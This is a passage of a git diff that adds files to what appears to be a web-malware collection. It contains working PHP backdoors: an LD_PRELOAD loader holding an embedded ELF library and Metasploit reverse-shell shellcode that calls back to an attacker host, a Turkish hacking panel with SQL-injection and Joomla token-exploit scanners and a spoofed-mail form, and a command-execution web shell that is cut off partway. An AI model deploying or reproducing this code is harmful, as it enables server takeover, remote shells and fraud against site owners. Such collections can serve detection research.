+"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 +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAABAAAA +XgAAAAwAAACQAwAADQAAAAgGAAAEAAAA9AAAAPX+/29AAQAABQAAAFwCAAAGAAAAfAEAAAoAAACW +AAAACwAAABAAAAADAAAA9B8AAAIAAAAwAAAAFAAAABEAAAAXAAAAYAMAABEAAABAAwAAEgAAACAA +AAATAAAACAAAAP7//28QAwAA////bwEAAADw//9v8gIAAPr//28BAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAfAAAAAAAAAAAAAL4DAADOAwAA +3gMAAO4DAAD+AwAADgQAABggAAAAR0NDOiAoR2VudG9vIDQuMy4xLXIxIHAxLjEpIDQuMy4xAABH +Q0M6IChHZW50b28gNC4zLjIgcDEuMSkgNC4zLjIAAEdDQzogKEdlbnRvbyA0LjMuMiBwMS4xKSA0 +LjMuMgAAR0NDOiAoR2VudG9vIDQuMy4yIHAxLjEpIDQuMy4yAABHQ0M6IChHZW50b28gNC4zLjEt +cjEgcDEuMSkgNC4zLjEAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmdudS5oYXNoAC5keW5z +eW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQA +LmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5k +eW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAFAAAAAgAAAPQAAAD0AAAATAAAAAMAAAAAAAAA +BAAAAAQAAAAbAAAA9v//bwIAAABAAQAAQAEAADwAAAADAAAAAAAAAAQAAAAEAAAAJQAAAAsAAAAC +AAAAfAEAAHwBAADgAAAABAAAAAEAAAAEAAAAEAAAAC0AAAADAAAAAgAAAFwCAABcAgAAlgAAAAAA +AAAAAAAAAQAAAAAAAAA1AAAA////bwIAAADyAgAA8gIAABwAAAADAAAAAAAAAAIAAAACAAAAQgAA +AP7//28CAAAAEAMAABADAAAwAAAABAAAAAEAAAAEAAAAAAAAAFEAAAAJAAAAAgAAAEADAABAAwAA +IAAAAAMAAAAAAAAABAAAAAgAAABaAAAACQAAAAIAAABgAwAAYAMAADAAAAADAAAACgAAAAQAAAAI +AAAAYwAAAAEAAAAGAAAAkAMAAJADAAAXAAAAAAAAAAAAAAAEAAAAAAAAAF4AAAABAAAABgAAAKgD +AACoAwAAcAAAAAAAAAAAAAAABAAAAAQAAABpAAAAAQAAAAYAAAAgBAAAIAQAAOgBAAAAAAAAAAAA +ABAAAAAAAAAAbwAAAAEAAAAGAAAACAYAAAgGAAAcAAAAAAAAAAAAAAAEAAAAAAAAAHUAAAABAAAA +AgAAACQGAAAkBgAAHQAAAAAAAAAAAAAAAQAAAAAAAAB9AAAAAQAAAAIAAABEBgAARAYAAAQAAAAA +AAAAAAAAAAQAAAAAAAAAhwAAAAEAAAADAAAADB8AAAwPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAI4A +AAABAAAAAwAAABQfAAAUDwAACAAAAAAAAAAAAAAABAAAAAAAAACVAAAAAQAAAAMAAAAcHwAAHA8A +AAQAAAAAAAAAAAAAAAQAAAAAAAAAmgAAAAYAAAADAAAAIB8AACAPAADIAAAABAAAAAAAAAAEAAAA +CAAAAKMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACoAAAAAQAAAAMAAAD0 +HwAA9A8AACQAAAAAAAAAAAAAAAQAAAAEAAAAsQAAAAEAAAADAAAAGCAAABgQAAAEAAAAAAAAAAAA +AAAEAAAAAAAAALcAAAAIAAAAAwAAABwgAAAcEAAACAAAAAAAAAAAAAAABAAAAAAAAAC8AAAAAQAA +AAAAAAAAAAAAHBAAAKYAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMIQAADFAAAA +AAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAADAFQAAsAIAABoAAAAeAAAABAAAABAAAAAJ +AAAAAwAAAAAAAAAAAAAAcBgAAAsBAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAD0AAAAAAAAAAMAAQAAAAAAQAEAAAAAAAADAAIAAAAAAHwBAAAAAAAAAwADAAAAAABcAgAAAAAA +AAMABAAAAAAA8gIAAAAAAAADAAUAAAAAABADAAAAAAAAAwAGAAAAAABAAwAAAAAAAAMABwAAAAAA +YAMAAAAAAAADAAgAAAAAAJADAAAAAAAAAwAJAAAAAACoAwAAAAAAAAMACgAAAAAAIAQAAAAAAAAD +AAsAAAAAAAgGAAAAAAAAAwAMAAAAAAAkBgAAAAAAAAMADQAAAAAARAYAAAAAAAADAA4AAAAAAAwf +AAAAAAAAAwAPAAAAAAAUHwAAAAAAAAMAEAAAAAAAHB8AAAAAAAADABEAAAAAACAfAAAAAAAAAwAS +AAAAAADoHwAAAAAAAAMAEwAAAAAA9B8AAAAAAAADABQAAAAAABggAAAAAAAAAwAVAAAAAAAcIAAA +AAAAAAMAFgAAAAAAAAAAAAAAAAADABcAAQAAAAAAAAAAAAAABADx/w0AAAD0HwAAAAAAAAEC8f8j +AAAAGCAAAAAAAAABAhUAMAAAABgfAAAAAAAAAQIQAD0AAAAHBQAAAAAAAAICCwBUAAAAIB8AAAAA +AAABAvH/XQAAAAAAAAB6AAAAEgAAAG0AAAAAAAAAAAAAACAAAAB8AAAAAAAAAAAAAAAgAAAAkAAA +AAAAAAD+AAAAEgAAAKQAAAAIBgAAAAAAABIADACqAAAAAAAAAHoAAAASAAAAugAAABwgAAAAAAAA +EADx/8YAAAAMBQAAvQAAABIACwDNAAAAJCAAAAAAAAAQAPH/0gAAABwgAAAAAAAAEADx/9kAAAAA +AAAACwEAACIAAAD1AAAAAAAAAP0AAAASAAAABQEAAJADAAAAAAAAEgAJAABzaGVsbGNvZGUuYwBf +R0xPQkFMX09GRlNFVF9UQUJMRV8AX19kc29faGFuZGxlAF9fRFRPUl9FTkRfXwBfX2k2ODYuZ2V0 +X3BjX3RodW5rLmJ4AF9EWU5BTUlDAG9wZW5AQEdMSUJDXzIuMABfX2dtb25fc3RhcnRfXwBfSnZf +UmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElCQ18yLjAAX2ZpbmkAcmVhZEBAR0xJQkNfMi4w +AF9fYnNzX3N0YXJ0AGdldHVpZABfZW5kAF9lZGF0YQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4x +LjMAZXhpdEBAR0xJQkNfMi4wAF9pbml0AA==" ; +} + +if (!function_exists('file_put_contents')){ + function file_put_contents($filename, $data){ + $f = @fopen($filename, 'w'); + if (!$f){ + return false; + } + else{ + $bytes = fwrite($f, $data); + fclose($f); + return $bytes; + } + } +} + +// Note: change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' +file_put_contents('/tmp/shellcode.so' , base64_decode($shellcode_loader)); +$ip = gethostbyname($host); + +$port1 = sprintf('%c', ($port>> 8)&255 ); +$port2 = sprintf('%c', ($port>> 0)&255 ); + +$part = explode('.', $ip); +//$HEXIP = sprintf('%02x%02x%02x%02x', $part[0], $part[1], $part[2], $part[3]); +$STRINGIP = sprintf('%c%c%c%c', $part[0], $part[1], $part[2], $part[3]); + +/* + * linux/x86/shell_reverse_tcp - 71 bytes + * http://www.metasploit.com + * Encoder: generic/none + * LHOST=$STRINGIP, LPORT=$port1.$port2, ReverseConnectRetries=5, + * PrependSetresuid=false, PrependSetreuid=false, + * PrependSetuid=false, PrependChrootBreak=false, + * AppendExit=false + */ + + +$Xshellcode = +"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80". +"\x5b\x5e\x68".$STRINGIP."\x66\x68".$port1.$port2."\x66\x53\x6a\x10". +"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f". +"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69". +"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00" ; + +if(isset($_REQUEST['shellcode'])){ +// just for fans of metasploit +$Xshellcode=base64_decode($_REQUEST['shellcode']); +} + +file_put_contents("/tmp/.X11-IHSTEAM", $Xshellcode); + +$cwd = '/tmp/'; +$env = array('LD_PRELOAD' => '/tmp/shellcode.so'); +unset($var); + +$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w")); + +// BOOM +proc_open('IHSteam', $descriptorspec, $var, $cwd, $env); +mail("IHSteam","IHSteam","IHSteam","IHSteam"); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/kral.txt b/web-malware-collection-master/Backdoors/PHP/kral.txt new file mode 100755 index 0000000..878b535 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/kral.txt @@ -0,0 +1,371 @@ +<?PHP +/* +Kodlama by BLaSTER +from TurkGuvenligi +*/ +ini_set('max_execution_time',0); +ob_start(); +$tablo = "admin +admins +users +uyeler +uye +kullanici +kullanicilar +member +members +haber +haberler +anket +administrator +editor +editors +webmaster +diary +admin +a_admin +x_admin +m_admin +adminuser +admin_user +adm +article_admin +administrator +manage +manager +member +memberlist +tbluser +tbl_user +tbl_users +user +users +userinfo +user_info +admin_userinfo +userlist +user_list +login +reguser +movie +movies +news +password +clubconfig +config +company +book +art +bbs +dv_admin +webmaster"; +?> +<style type="text/css"> +<!-- +body,td,th { +color: #FFFFFF; +font-family: tahoma; +font-size: 11px; +} +body { +background-color: #000000; +} +.style4 {font-weight: bold} +a:link { +color: #CCCCCC; +} +a:visited { +color: #CCCCCC; +} +a:hover { +color: #666666; +} +a:active { +color: #CCCCCC; +} +--> +table{border:1px solid #FFFFFF;} +tr{border:1px solid #FFFFFF;} +td{border:1px solid #FFFFFF;} +input{background-color:#CCCCCC; +font-family:Georgia, "Times New Roman", Times, serif; +color:#000000; +border:1px dashed #FFFFFF; +font-size:12px;} +textarea{background-color:#CCCCCC; +font-family:Georgia, "Times New Roman", Times, serif; +color:#000000; +border:1px dashed #FFFFFF; +font-size:12px;} +.style6 { +font-size: 24px; +font-weight: bold; +font-style: italic; +} +</style> +<title>BLaSTER</title> + + <div align="center"> + <table width="887" border="1"> + <tr> + <td height="50" colspan="3"><div align="center"><span class="style6">By BLaSTER</span><br /> + TurkGuvenligi Ekibi<br /> + <br /> + <a href="<?=$_SERVER['PHP_SELF']?>">sayfayi tekrar a�</a></div></td> + </tr> + <tr> + <td width="275" valign="top"><form action="" method="post" name="reverse" id="form1"> + <p><strong>Server listeleyici</strong><br /> + <br /> + <input name="site" type=text size="40"> + <input type="submit" value="Tara"> + <br /> + <?PHP +$site=$_POST['site']; +if($site){ +$ch=curl_init(); +curl_setopt($ch,CURLOPT_URL,"http://www.guerrilladns.com/index.php"); +curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE); +curl_setopt($ch,CURLOPT_POST,1); +curl_setopt($ch,CURLOPT_POSTFIELDS,"domain=".$site); +$al=curl_exec($ch); +curl_close($ch); + +preg_match_all('#rel="nofollow" >(.*?)</a>#si',$al,$ver); + + +foreach($ver[1] as $cikti){ +ob_flush(); +flush(); +usleep(100000); +echo $cikti.'<br>'; +} +} +?> + </p> + </form></td> + <td width="282" height="100" valign="top" bordercolor="#FFFFFF"><form method="post" action=""> + <form action="" method="post" name="form1" id="form1"> + <p><strong>Tablo bulucu<br /> + </strong><br /> + Site: + <input name="site2" type="text" id="site" size="45" /> + <br /> + <br /> + Referans olacak kodu giriniz: + <input name="refkod" type="text" id="refkod" value="cannot find the input table or query" size="40" /> + </p> + <label><br /> + <textarea name="tablo" cols="50" rows="3" id="tablo"><?=$tablo?> + </textarea> + </label> + <label> <br /> + <input name="submit1" type="submit" id="submit1" value="Ara ve bul" /> + </label> + <br /> + <?PHP +$tablo=htmlspecialchars($_POST['tablo']); +$site=$_POST['site']; +$refkod=$_POST['refkod']; +if($site && $tablo && $refkod){ +$satirlar=explode("\n",$tablo); +foreach($satirlar as $s){ +$son = $site." ".$s; +$son2 = str_replace(" ","+",$son); +$son3 = trim($son2); +ob_flush(); +flush(); +usleep(100000); +$ch=curl_init(); +curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE); +curl_setopt($ch,CURLOPT_URL,$son3); +$al=curl_exec($ch); +curl_close($ch); +if(eregi($refkod,$al)){ +echo $s . '--> <font color="red">yok</font><br>' ; +}else{ +echo $s . '--> <font color="green">var</font><br>' ;} +} +} +?> + </form></td> + <td width="308" valign="top" bordercolor="#FFFFFF"><form action="" method="post" name="form2" id="form2"> + <p> + <label></label> + <label><strong>Hex �evirici <br /> + <br /> + <input name="hex" type="text" id="hex" size="40" /> + </strong></label> + <strong> + <input name="submit2" type="submit" id="submit2" value="�evir" /> + <br /> + <?PHP + $hex=htmlspecialchars($_POST['hex']); +if($hex){ +echo '0x'.bin2hex($hex); +} + ?> + </strong></p> + </form> + <form action="" method="post" name="form3" id="form3"> + <strong>Ip adresi alici </strong><br /> + <br /> + <label> + <input name="ip" type="text" id="ip" size="40" /> + </label> + <label> + <input name="submit3" type="submit" id="submit3" value="G�ster" /> + </label> + <div align="left"> + <?PHP +$ip=htmlspecialchars($_POST['ip']); +if($ip){ +$adres=gethostbyname($ip); +echo '<font color="red">'.$ip.'</font> <br> <font color="green">'.$adres.'</font>'; +echo'<br> <a href="http://www.bing.com/search?q=ip%3A'.$adres.'+&go=&form=QBLH&filt=all" target="_blank">Bing arama sayfasini a�</a>'; +} +?> + </div> + </form> + <form action="" method="post" name="form6" id="form6"> + <strong>Md5 </strong><br /> + <br /> + <label> + <input name="md5" type="text" id="md5" size="40" /> + </label> + <label> + <input name="submit4" type="submit" id="submit4" value="Olustur" /> + </label> + <span class="style4"> + <div align="left"> + <?PHP +$md5=htmlspecialchars($_POST['md5']); +if($md5){ +echo md5($md5); +} +?> + </div> + </span> + </form> </td> + </tr> + <tr> + <td width="275" height="100" valign="top" bordercolor="#FFFFFF"><form action="" method="post" name="form5" id="form5"> + <p><strong>Joomla token<br /> + <br /> + </strong> + <textarea name="liste2" cols="50" rows="8"></textarea> + <br /> + <input name="submit6" type="submit" id="submit6" value="Taramaya basla" /> + <br /> + <?PHP +$liste=htmlspecialchars($_POST['liste2']); +if($liste){ +$satirlar=explode("\n",$liste); +foreach($satirlar as $s){ +ob_flush(); +flush(); +usleep(100000); +$cikti=trim($s); +$ekle="/index.php?option=com_user&view=reset&layout=confirm"; +$bla=$cikti."".$ekle; +$ch=curl_init(); +curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE); +curl_setopt($ch,CURLOPT_URL,$bla); +$al=curl_exec($ch); +curl_close($ch); +if(eregi('token',$al)){ +echo '<font color="green">'.$cikti.'</font> --> <font color="green"><a href="http://'.$bla.'" target="_blank">exploit</a></font><br>'; +}else{ +echo $cikti.' --> <font color="red">yok</font><br>'; +}} +} +?> + </p> + </form></td> + <td height="100" valign="top" bordercolor="#FFFFFF"><form action="" method="post" name="form4" id="form4"> + <p><strong>SQL injection tarama</strong><br /> + <br /> + <textarea name="liste1" cols="50" rows="8"></textarea> + <input name="submit5" type="submit" id="submit5" value="Taramaya basla" /> + <br /> + <?PHP +$liste=htmlspecialchars($_POST['liste1']); +if($liste){ +$satirlar=explode("\n",$liste); +foreach($satirlar as $s){ +$tmz=trim($s); +$son=$tmz.""."1'a"; +ob_flush(); +flush(); +usleep(100000); +$ch=curl_init(); +curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE); +curl_setopt($ch,CURLOPT_URL,$son); +$al=curl_exec($ch); +curl_close($ch); +if(eregi("Unclosed",$al)){ +echo $son.' <br> <font color="green">MSSQL</font><br>'; +} +elseif(eregi("SQL syntax",$al)){ +echo $son.' <br> <font color="green">MySQL</font><br>'; +} +elseif(eregi("MySQL",$al)){ +echo $son.' <br> <font color="green">MySQL</font><br>'; +} +elseif(eregi("Syntax error",$al)){ +echo $son.' <br> <font color="green">Access</font><br>'; +} +elseif(eregi("Access",$al)){ +echo $son.' <br> <font color="green">Access</font><br>'; +} +elseif(eregi("JET Database",$al)){ +echo $son.' <br> <font color="green">Jet Db</font><br>'; +}else{ +echo $son.' <br> <font color="red">Yok</font><br>'; +}} +} +?> + </p> + </form></td> + <td width="275" height="100" valign="top" bordercolor="#FFFFFF"><form id="form7" name="form7" method="post" action=""> + <strong>Fake Mail</strong> + <p>G�nderen email: + <label> + <input name="kim" type="text" id="kim" size="33" /> + </label> + <br /> + G�nderen isim: + <input name="isim" type="text" id="isim" size="33" /> + <br /> + Gidecek email: + <input name="kime" type="text" id="kime" size="33" /> + <br /> + Baslik: + <input name="baslik" type="text" id="baslik" size="33" /> + <textarea name="icerik" cols="50" rows="8" id="icerik"></textarea> + <br /> + <input name="submit62" type="submit" id="submit62" value="G�nder" /> + <br /> + <?PHP +$kim=$_POST['kim']; +$kime=$_POST['kime']; +$isim=$_POST['isim']; +$baslik=$_POST['baslik']; +$icerik=$_POST['icerik']; +if($kim && $kime && $isim && $baslik && $icerik){ +$gonder=mail($kime, $baslik, $icerik, "From: ".$isim." <".$kim.">"); +if($gonder){echo'<script>alert("gonderildi..");</script>';}else{echo'<script>alert("uzgunum bi hata olustu..");</script>';} +} +?> + </p> + </form></td> + </tr> + <tr> + <td height="42" colspan="3" valign="bottom" bordercolor="#FFFFFF"><div align="center"> + <p>kodlama by <a href="mailto:priv8coder@gmail.com">BLaSTER</a><br /> + Thehacker - Agd_Scorp - BLaSTER - Cr@zy_King - KinSize - JeXToXiC - s3f4 - rx5 <br /> + "Hakim beye s�yledik, biz su�a meyilli insanlariz.."</p> + </div> <div align="center"></div> <div align="center"></div></td> + </tr> + </table> + </div> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/lamashell.txt b/web-malware-collection-master/Backdoors/PHP/lamashell.txt new file mode 100755 index 0000000..1df8222 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/lamashell.txt @@ -0,0 +1,89 @@ +<? +if($_POST['dir'] == "") { + + $curdir = `pwd`; +} else { + $curdir = $_POST['dir']; +} + +if($_POST['king'] == "") { + + $curcmd = "ls -lah"; +} else { + $curcmd = $_POST['king']; +} + + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" + "http://www.w3.org/TR/html4/loose.dtd"> +<html> + <head> + <title>lama's'hell v. 3.0</title> + <style type="text/css"> + body { + color: white; background-color: black; + font-size: 12px; + font-family: Helvetica,Arial,Sans-Serif; + } + </style> + </head> + <body> + <pre> + _ _ + / \_______ /|_\ + / /_/ \__ + / \_/ / + _|_ |/|_ + _|_ O _ O _|_ + _|_ (_) _|_ + \ / + _\_____________/_ + / \/ (___) \/ \ + \__( o o )__/ <? +$ob = @ini_get("open_basedir"); +$df = @ini_get("disable_functions"); +if( ini_get('safe_mode') ) { + echo "SM: 1 \\ "; +} else { + echo "SM: 0 \\ "; +} +if(''==$df) { + echo "DF: 0 \\ "; +} else { + echo "DF: ".$df." \\ "; +} +echo "".php_uname()."\n"; +?> +<hr></pre> + <table><form method="post" enctype="multipart/form-data"> + <tr><td><b>Execute command:</b></td><td><input name="king" type="text" size="100" value="<? echo $curcmd; ?>"></td> + <tr><td><b>Change directory:</b></td><td><input name="dir" type="text" size="100" value="<? echo $curdir; ?>"></td> + <td><input name="exe" type="submit" value="Execute"></td></tr> + + <tr><td><b>Upload file:</b></td><td><input name="fila" type="file" size="90"></td> + 